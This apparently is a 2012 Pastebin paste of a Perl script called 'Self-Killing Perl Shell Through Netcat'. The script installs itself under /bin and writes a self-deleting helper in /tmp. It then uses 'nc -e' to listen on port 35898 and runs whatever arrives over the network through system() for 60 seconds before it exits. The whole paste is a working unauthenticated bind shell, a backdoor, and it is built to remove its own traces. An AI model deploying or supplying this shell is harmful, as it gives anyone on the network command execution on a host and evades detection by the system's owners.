Advertisement
thenadz

Self-Killing Perl Shell Through Netcat

Nov 1st, 2012
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.00 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. # save in /bin/selfkill
  4. # calls itself with argument in order to complete process and open up $portnum
  5. # with prompt for $lifetime seconds
  6.  
  7. $| = 1;
  8. $lifetime = 60; # in seconds
  9. my $prompt = '[me@selfkill]$ ';
  10. my $portnum = 35898; # can be anything within port range
  11.  
  12. # create file that deletes itself on completion
  13. system('echo -e "#!/bin/bash\nexec /bin/selfkill run\nexec /bin/rm $0" > /tmp/selfkill; chmod +x /tmp/selfkill');
  14.  
  15. # exec if /tmp/selfkill has no args (will be called from self-call above)
  16. if(!@ARGV){ exec("nc -e /tmp/selfkill -l -p $portnum"); die; }
  17.  
  18. # set reasonable path
  19. $ENV{'PATH'} = '/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/usr/local/sbin:.';
  20.  
  21. while(1){
  22.   print $prompt;
  23.   eval {
  24.     local $SIG{ALRM} = sub { die 'Goodbye!\n'; };
  25.  
  26.     alarm $lifetime;
  27.     &syscall;
  28.     alarm 0;
  29.   };
  30.   # shell not used for 60 seconds so die
  31.   if( $@ ){ die; }
  32. }
  33.  
  34. sub syscall{
  35.   if( defined( $_ = <STDIN> )){
  36.     chomp;
  37.     system( $_ );
  38.   }
  39. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement